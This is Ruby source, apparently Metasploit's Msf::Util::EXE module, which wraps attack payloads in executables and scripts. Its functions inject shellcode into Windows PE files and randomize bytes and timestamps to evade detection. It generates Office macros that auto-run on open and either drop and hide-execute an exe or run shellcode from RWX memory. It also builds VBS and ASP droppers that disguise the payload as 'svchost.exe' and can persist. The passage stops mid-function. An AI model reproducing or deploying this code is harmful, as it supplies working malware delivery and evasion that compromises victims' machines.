## # $Id$ ## ### # # framework-util-exe # -------------- # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # ### module Msf module Util class EXE require 'rex' require 'rex/peparsey' require 'rex/pescan' require 'rex/zip' require 'metasm' require 'digest/sha1' ## # # Helper functions common to multiple generators # ## def self.set_template_default(opts, exe = nil, path = nil) # If no path specified, use the default one. path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") # If there's no default name, we must blow it up. if not exe raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!' end # Use defaults only if nothing is specified opts[:template_path] ||= path opts[:template] ||= exe # Only use the path when the filename contains no separators. if not opts[:template].include?(File::SEPARATOR) opts[:template] = File.join(opts[:template_path], opts[:template]) end # Check if it exists now return if File.file?(opts[:template]) # If it failed, try the default... if opts[:fallback] default_template = File.join(path, exe) if File.file?(default_template) # Perhaps we should warn about falling back to the default? opts.merge!({ :fellback => default_template }) opts[:template] = default_template end end end ## # # Executable generators # ## def self.to_executable(framework, arch, plat, code='', opts={}) if (arch.index(ARCH_X86)) if (plat.index(Msf::Module::Platform::Windows)) return to_win32pe(framework, code, opts) end if (plat.index(Msf::Module::Platform::Linux)) return to_linux_x86_elf(framework, code) end if(plat.index(Msf::Module::Platform::OSX)) return to_osx_x86_macho(framework, code) end # XXX: Add remaining x86 systems here end if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) ) if (plat.index(Msf::Module::Platform::Windows)) return to_win64pe(framework, code, opts) end if (plat.index(Msf::Module::Platform::Linux)) return to_linux_x64_elf(framework, code, opts) end if (plat.index(Msf::Module::Platform::OSX)) return to_osx_x64_macho(framework, code) end end if(arch.index(ARCH_ARMLE)) if(plat.index(Msf::Module::Platform::OSX)) return to_osx_arm_macho(framework, code) end if(plat.index(Msf::Module::Platform::Linux)) return to_linux_armle_elf(framework, code) end # XXX: Add remaining ARMLE systems here end if(arch.index(ARCH_PPC)) if(plat.index(Msf::Module::Platform::OSX)) return to_osx_ppc_macho(framework, code) end # XXX: Add PPC OS X and Linux here end nil end def self.to_win32pe(framework, code, opts={}) # For backward compatability, this is roughly equivalent to 'exe-small' fmt if opts[:sub_method] if opts[:inject] raise RuntimeError, 'NOTE: using the substitution method means no inject support' end # use return self.to_win32pe_exe_sub(framework, code, opts) end # Allow the user to specify their own EXE template set_template_default(opts, "template_x86_windows.exe") # Copy the code to a new RWX segment to allow for self-modifying encoders payload = win32_rwx_exec(code) # Create a new PE object and run through sanity checks endjunk = true fsize = File.size(opts[:template]) pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) text = nil sections_end = 0 pe.sections.each do |sec| text = sec if sec.name == ".text" sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end endjunk = false if sec.contains_file_offset?(fsize-1) end #also check to see if there is a certificate cert_entry = pe.hdr.opt['DataDirectory'][4] #if the cert is the only thing past the sections, we can handle. if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress'] endjunk = false end #try to inject code into executable by adding a section without affecting executable behavior if(opts[:inject]) if endjunk raise RuntimeError, "Junk at end of file. Is this a packed exe?" end #find first section file offset and free RVA for new section free_rva = pe.hdr.opt.AddressOfEntryPoint first_off = sections_end pe.sections.each do |sec| first_off = sec.file_offset if sec.file_offset < first_off free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva end #align free_rva free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment #See if we can add a section first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off raise RuntimeError, "Not enough room for new section header" end # figure out where in the new section to put the start. Right now just putting at the beginning of the new section start_rva = free_rva #make new section, starting at free RVA new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva) #pad to file alignment new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment)) #make new section header new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE new_sechead.v['VirtualAddress'] = free_rva new_sechead.v['SizeOfRawData'] = new_sec.length new_sechead.v['PointerToRawData'] = sections_end # Create the modified version of the input executable exe = '' File.open(opts[:template], 'rb') { |fd| exe = fd.read(fd.stat.size) } #New file header with updated number of sections and timedatestamp new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE]) new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1 new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000) exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s #new optional header with new entry point, size of image, and size of code new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader]) new_opthead.v['AddressOfEntryPoint'] = start_rva new_opthead.v['SizeOfImage'] = free_rva + new_sec.length new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s #kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8 #kill certificate; if it exists, we just invalidated it exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8 #new section header and new section exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1) cks = pe.hdr.opt.CheckSum if(cks != 0) exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") end pe.close return exe end if(not text) raise RuntimeError, "No .text section found in the template" end if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) raise RuntimeError, "The .text section does not contain an entry point" end if(text.size < (payload.length + 256)) raise RuntimeError, "The .text section is too small to be usable" end # Store some useful offsets off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint) off_beg = pe.rva_to_file_offset(text.base_rva) # We need to make sure our injected code doesn't conflict with the # the data directories stored in .text (import, export, etc) mines = [] pe.hdr.opt['DataDirectory'].each do |dir| next if dir.v['Size'] == 0 next if not text.contains_rva?( dir.v['VirtualAddress'] ) mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ] end # Break the text segment into contiguous blocks blocks = [] bidx = 0 mines.sort{|a,b| a[0] <=> b[0]}.each do |mine| bbeg = bidx bend = mine[0] if(bbeg != bend) blocks << [bidx, bend-bidx] end bidx = mine[0] + mine[1] end # Add the ending block if(bidx < text.size - 1) blocks << [bidx, text.size - bidx] end # Find the largest contiguous block blocks.sort!{|a,b| b[1]<=>a[1]} block = blocks[0] # TODO: Allow the entry point in a different block if(payload.length + 256 > block[1]) raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})" end # Make a copy of the entire .text section data = text.read(0,text.size) # Pick a random offset to store the payload poff = rand(block[1] - payload.length - 256) # Flip a coin to determine if EP is before or after eloc = rand(2) eidx = nil # Pad the entry point with random nops entry = generate_nops(framework, [ARCH_X86], rand(200)+51) # Pick an offset to store the new entry point if(eloc == 0) # place the entry point before the payload poff += 256 eidx = rand(poff-(entry.length + 5)) else # place the entry pointer after the payload poff -= 256 eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length end # Relative jump from the end of the nops to the payload entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V') # Mangle 25% of the original executable 1.upto(block[1] / 4) do data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C") end # Patch the payload and the new entry point into the .text data[block[0] + poff, payload.length] = payload data[block[0] + eidx, entry.length] = entry # Create the modified version of the input executable exe = '' File.open(opts[:template], 'rb') { |fd| exe = fd.read(fd.stat.size) } exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V") exe[off_beg, data.length] = data tds = pe.hdr.file.TimeDateStamp exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V") cks = pe.hdr.opt.CheckSum if(cks != 0) exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") end pe.close exe end def self.to_win32pe_old(framework, code, opts={}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x86_windows_old.exe") pe = '' File.open(opts[:template], "rb") { |fd| pe = fd.read(fd.stat.size) } if(code.length < 2048) code << Rex::Text.rand_text(2048-code.length) end if(code.length > 2048) raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" end bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo pe[bo, code.length] = code pe[136, 4] = [rand(0x100000000)].pack('V') ci = pe.index("\x31\xc9" * 160) raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" if not ci cd = pe.index("\x31\xc9" * 160, ci + 320) raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" if not cd rc = pe[ci+320, cd-ci-320] # 640 + rc.length bytes of room to store an encoded rc at offset ci enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32) lft = 640+rc.length - enc.length buf = enc + Rex::Text.rand_text(640+rc.length - enc.length) pe[ci, buf.length] = buf # Make the data section executable xi = pe.index([0xc0300040].pack('V')) pe[xi,4] = [0xe0300020].pack('V') # Add a couple random bytes for fun pe << Rex::Text.rand_text(rand(64)+4) return pe end def self.to_win32pe_exe_sub(framework, code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.exe") pe = '' File.open(opts[:template], "rb") { |fd| pe = fd.read(fd.stat.size) } bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo pe[bo, 8192] = [code].pack("a8192") return pe end def self.to_win64pe(framework, code, opts={}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") pe = '' File.open(opts[:template], "rb") { |fd| pe = fd.read(fd.stat.size) } bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo pe[bo, code.length] = code return pe end def self.to_win32pe_service(framework, code, opts={}) name = opts[:servicename] # Allow the user to specify their own service EXE template set_template_default(opts, "template_x86_windows_svc.exe") pe = '' File.open(opts[:template], 'rb') { |fd| pe = fd.read(fd.stat.size) } bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo pe[bo, 8192] = [code].pack("a8192") if name bo = pe.index('SERVICENAME') raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo pe[bo, 11] = [name].pack('a11') end if not opts[:sub_method] pe[136, 4] = [rand(0x100000000)].pack('V') end return pe end def self.to_win64pe_service(framework, code, opts={}) name = opts[:servicename] # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") pe = '' File.open(opts[:template], "rb") { |fd| pe = fd.read(fd.stat.size) } bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo pe[bo, 8192] = [code].pack("a8192") if name bo = pe.index('SERVICENAME') raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo pe[bo, 11] = [name].pack('a11') end if not opts[:sub_method] pe[136, 4] = [rand(0x100000000)].pack('V') end return pe end def self.to_win32pe_dll(framework, code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") pe = '' File.open(opts[:template], "rb") { |fd| pe = fd.read(fd.stat.size) } bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo pe[bo, 8192] = [code].pack("a8192") # optional mutex mt = pe.index('MUTEX!!!') pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt return pe end def self.to_win64pe_dll(framework, code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") pe = '' File.open(opts[:template], "rb") { |fd| pe = fd.read(fd.stat.size) } bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo pe[bo, 8192] = [code].pack("a8192") # optional mutex mt = pe.index('MUTEX!!!') pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt return pe end def self.to_osx_arm_macho(framework, code, opts={}) # Allow the user to specify their own template set_template_default(opts, "template_armle_darwin.bin") mo = '' File.open(opts[:template], "rb") { |fd| mo = fd.read(fd.stat.size) } bo = mo.index('PAYLOAD:') raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo mo[bo, code.length] = code return mo end def self.to_osx_ppc_macho(framework, code, opts={}) # Allow the user to specify their own template set_template_default(opts, "template_ppc_darwin.bin") mo = '' File.open(opts[:template], "rb") { |fd| mo = fd.read(fd.stat.size) } bo = mo.index('PAYLOAD:') raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo mo[bo, code.length] = code return mo end def self.to_osx_x86_macho(framework, code, opts={}) # Allow the user to specify their own template set_template_default(opts, "template_x86_darwin.bin") mo = '' File.open(opts[:template], "rb") { |fd| mo = fd.read(fd.stat.size) } bo = mo.index('PAYLOAD:') raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo mo[bo, code.length] = code return mo end def self.to_osx_x86_macho(framework, code, opts={}) set_template_default(opts, "template_x64_darwin.bin") macho = '' File.open(opts[:template], 'rb') { |fd| macho = fd.read(fd.stat.size) } bin = macho.index('PAYLOAD:') raise RuntimeError, "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag" if not bin macho[bin, code.length] = code return macho end # # Create a 64-bit Linux ELF containing the payload provided in +code+ # def self.to_linux_x64_elf(framework, code, opts={}) set_template_default(opts, "template_x64_linux.bin") elf = '' File.open(opts[:template], "rb") { |fd| elf = fd.read(fd.stat.size) } #Append shellcode elf << code #Modify size elf[96, 8] = [120 + code.length].pack('Q') #p_filesz elf[104,8] = [120 + code.length].pack('Q') #p_memsz return elf end # # Create a 32-bit Linux ELF containing the payload provided in +code+ # # For the default template, this method just appends the payload. For # user-provided templates, modifies the header to mark all executable # segments as writable and overwrites the entrypoint (usually _start) with # the payload. # def self.to_linux_x86_elf(framework, code, opts={}) unless opts[:template] default = true end # Allow the user to specify their own template set_template_default(opts, "template_x86_linux.bin") # The old way to do it is like other formats, just overwrite a big # block of rwx mem with our shellcode. #bo = elf.index( "\x90\x90\x90\x90" * 1024 ) #co = elf.index( " " * 512 ) #elf[bo, 2048] = [code].pack('a2048') if bo if default # The new template is just an ELF header with its entry point set to # the end of the file, so just append shellcode to it and fixup # p_filesz and p_memsz in the header for a working ELF executable. elf = '' File.open(opts[:template], "rb") { |fd| elf = fd.read(fd.stat.size) } elf << code elf[0x44,4] = [elf.length + code.length].pack('V') elf[0x48,4] = [elf.length + code.length].pack('V') else # If this isn't our normal template, we have to do some fancy # header patching to mark the .text section rwx before putting our # payload into the entry point. # read in the template and parse it e = Metasm::ELF.decode_file(opts[:template]) # This will become a modified copy of the template's original phdr new_phdr = Metasm::EncodedData.new e.segments.each { |s| # Be lazy and mark any executable segment as writable. Doing # it this way means we don't have to care about which one # contains .text if s.flags.include? "X" s.flags += [ "W" ] end new_phdr << s.encode(e) } # Copy the original file elf = File.open(opts[:template], "rb") {|fd| fd.read(fd.stat.size) } # Replace the header with our rwx modified version elf[e.header.phoff, new_phdr.data.length] = new_phdr.data # Replace code at the entrypoint with our payload entry_off = e.addr_to_off(e.label_addr('entrypoint')) elf[entry_off, code.length] = code end return elf end def self.to_linux_armle_elf(framework, code, opts={}) # Allow the user to specify their own template set_template_default(opts, "template_armle_linux.bin") elf = '' File.open(opts[:template], "rb") { |fd| elf = fd.read(fd.stat.size) } # The template is just an ELF header with its entrypoint set to the # end of the file, so just append shellcode to it and fixup p_filesz # and p_memsz in the header for a working ELF executable. elf << code elf[0x44,4] = [elf.length + code.length].pack('V') elf[0x48,4] = [elf.length + code.length].pack('V') return elf end def self.to_exe_vba(exes='') exe = exes.unpack('C*') vba = "" idx = 0 maxbytes = 2000 var_magic = Rex::Text.rand_text_alpha(10).capitalize var_base = Rex::Text.rand_text_alpha(5).capitalize var_base_idx = 0 # First write the macro into the vba file var_fname = var_base + (var_base_idx+=1).to_s var_fenvi = var_base + (var_base_idx+=1).to_s var_fhand = var_base + (var_base_idx+=1).to_s var_parag = var_base + (var_base_idx+=1).to_s var_itemp = var_base + (var_base_idx+=1).to_s var_btemp = var_base + (var_base_idx+=1).to_s var_appnr = var_base + (var_base_idx+=1).to_s var_index = var_base + (var_base_idx+=1).to_s var_gotmagic = var_base + (var_base_idx+=1).to_s var_farg = var_base + (var_base_idx+=1).to_s var_stemp = var_base + (var_base_idx+=1).to_s # Function 1 extracts the binary func_name1 = var_base + (var_base_idx+=1).to_s # Function 2 executes the binary func_name2 = var_base + (var_base_idx+=1).to_s vba << "'**************************************************************\r\n" vba << "'*\r\n" vba << "'* This code is now split into two pieces:\r\n" vba << "'* 1. The Macro. This must be copied into the Office document\r\n" vba << "'* macro editor. This macro will run on startup.\r\n" vba << "'*\r\n" vba << "'* 2. The Data. The hex dump at the end of this output must be\r\n" vba << "'* appended to the end of the document contents.\r\n" vba << "'*\r\n" vba << "'**************************************************************\r\n" vba << "'*\r\n" vba << "'* MACRO CODE\r\n" vba << "'*\r\n" vba << "'**************************************************************\r\n" # The wrapper makes it easier to integrate it into other macros vba << "Sub Auto_Open()\r\n" vba << "\t#{func_name1}\r\n" vba << "End Sub\r\n" vba << "Sub #{func_name1}()\r\n" vba << "\tDim #{var_appnr} As Integer\r\n" vba << "\tDim #{var_fname} As String\r\n" vba << "\tDim #{var_fenvi} As String\r\n" vba << "\tDim #{var_fhand} As Integer\r\n" vba << "\tDim #{var_parag} As Paragraph\r\n" vba << "\tDim #{var_index} As Integer\r\n" vba << "\tDim #{var_gotmagic} As Boolean\r\n" vba << "\tDim #{var_itemp} As Integer\r\n" vba << "\tDim #{var_stemp} As String\r\n" vba << "\tDim #{var_btemp} As Byte\r\n" vba << "\tDim #{var_magic} as String\r\n" vba << "\t#{var_magic} = \"#{var_magic}\"\r\n" vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n" vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n" vba << "\tChDrive (#{var_fenvi})\r\n" vba << "\tChDir (#{var_fenvi})\r\n" vba << "\t#{var_fhand} = FreeFile()\r\n" vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n" vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n" vba << "\t\tDoEvents\r\n" vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n" vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n" vba << "\t\t\t#{var_index} = 1\r\n" vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n" vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n" vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n" vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n" vba << "\t\t\tWend\r\n" vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n" vba << "\t\t\t#{var_gotmagic} = True\r\n" vba << "\t\tEnd If\r\n" vba << "\tNext\r\n" vba << "\tClose ##{var_fhand}\r\n" vba << "\t#{func_name2}(#{var_fname})\r\n" vba << "End Sub\r\n" vba << "Sub #{func_name2}(#{var_farg} As String)\r\n" vba << "\tDim #{var_appnr} As Integer\r\n" vba << "\tDim #{var_fenvi} As String\r\n" vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n" vba << "\tChDrive (#{var_fenvi})\r\n" vba << "\tChDir (#{var_fenvi})\r\n" vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n" vba << "End Sub\r\n" vba << "Sub AutoOpen()\r\n" vba << "\tAuto_Open\r\n" vba << "End Sub\r\n" vba << "Sub Workbook_Open()\r\n" vba << "\tAuto_Open\r\n" vba << "End Sub\r\n" vba << "'**************************************************************\r\n" vba << "'*\r\n" vba << "'* PAYLOAD DATA\r\n" vba << "'*\r\n" vba << "'**************************************************************\r\n\r\n\r\n" vba << "#{var_magic}\r\n" # Writing the bytes of the exe to the file 1.upto(exe.length) do |pc| while(c = exe[idx]) vba << "&H#{("%.2x" % c).upcase}" if (idx > 1 and (idx % maxbytes) == 0) # When maxbytes are written make a new paragrpah vba << "\r\n" end idx += 1 end end return vba end def self.to_vba(framework,code,opts={}) var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize # put the shellcode bytes into an array bytes = '' maxbytes = 20 codebytes = code.unpack('C*') 1.upto(codebytes.length) do |idx| bytes << codebytes[idx].to_s bytes << "," if idx < codebytes.length - 1 bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0) end "#If Vba7 Then Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr #Else Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long #EndIf Sub Auto_Open() Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long #If Vba7 Then Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr #Else Dim #{var_rwxpage} As Long, #{var_res} As Long #EndIf #{var_myArray} = Array(#{bytes}) #{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40) For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray}) #{var_myByte} = #{var_myArray}(#{var_offset}) #{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1) Next #{var_offset} #{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub " end def self.to_win32pe_vba(framework, code, opts={}) to_exe_vba(to_win32pe(framework, code, opts)) end def self.to_exe_vbs(exes = '', opts={}) delay = opts[:delay] || 5 persist = opts[:persist] || false exe = exes.unpack('C*') vbs = "" var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small var_fname = Rex::Text.rand_text_alpha(rand(8)+8) var_func = Rex::Text.rand_text_alpha(rand(8)+8) var_stream = Rex::Text.rand_text_alpha(rand(8)+8) var_obj = Rex::Text.rand_text_alpha(rand(8)+8) var_shell = Rex::Text.rand_text_alpha(rand(8)+8) var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) vbs << "Function #{var_func}()\r\n" vbs << "#{var_bytes}=Chr(#{exe[0]})" lines = [] 1.upto(exe.length-1) do |byte| if(byte % 100 == 0) lines.push "\r\n#{var_bytes}=#{var_bytes}" end # exe is an Array of bytes, not a String, thanks to the unpack # above, so the following line is not subject to the different # treatments of String#[] between ruby 1.8 and 1.9 lines.push "&Chr(#{exe[byte]})" end vbs << lines.join("") + "\r\n" vbs << "Dim #{var_obj}\r\n" vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n" vbs << "Dim #{var_stream}\r\n" vbs << "Dim #{var_tempdir}\r\n" vbs << "Dim #{var_tempexe}\r\n" vbs << "Dim #{var_basedir}\r\n" vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n" vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n" vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n" vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n" vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n" vbs << "#{var_stream}.Write #{var_bytes}\r\n" vbs << "#{var_stream}.Close\r\n" vbs << "Dim #{var_shell}\r\n" vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n" vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n" vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n" vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n" vbs << "End Function\r\n" vbs << "Do\r\n" if persist vbs << "#{var_func}\r\n" vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist vbs << "Loop\r\n" if persist vbs end def self.to_exe_asp(exes = '', opts={}) exe = exes.unpack('C*') vbs = "<%\r\n" var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small var_fname = Rex::Text.rand_text_alpha(rand(8)+8) var_func = Rex::Text.rand_text_alpha(rand(8)+8) var_stream = Rex::Text.rand_text_alpha(rand(8)+8) var_obj = Rex::Text.rand_text_alpha(rand(8)+8) var_shell = Rex::Text.rand_text_alpha(rand(8)+8) var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) vbs << "Sub #{var_func}()\r\n" vbs << "#{var_bytes}=Chr(#{exe[0]})" lines = [] 1.upto(exe.length-1) do |byte| if(byte % 100 == 0) lines.push "\r\n#{var_bytes}=#{var_bytes}" end # exe is an Array of bytes, not a String, thanks to the unpack # above, so the following line is not subject to the different # treatments of String#[] between ruby 1.8 and 1.9 lines.push "&Chr(#{exe[byte]})" end vbs << lines.join("") + "\r\n" vbs << "Dim #{var_obj}\r\n" vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n" vbs << "Dim #{var_stream}\r\n" vbs << "Dim #{var_tempdir}\r\n" vbs << "Dim #{var_tempexe}\r\n" vbs << "Dim #{var_basedir}\r\n" vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n" vbs << "#{var_basedir} = 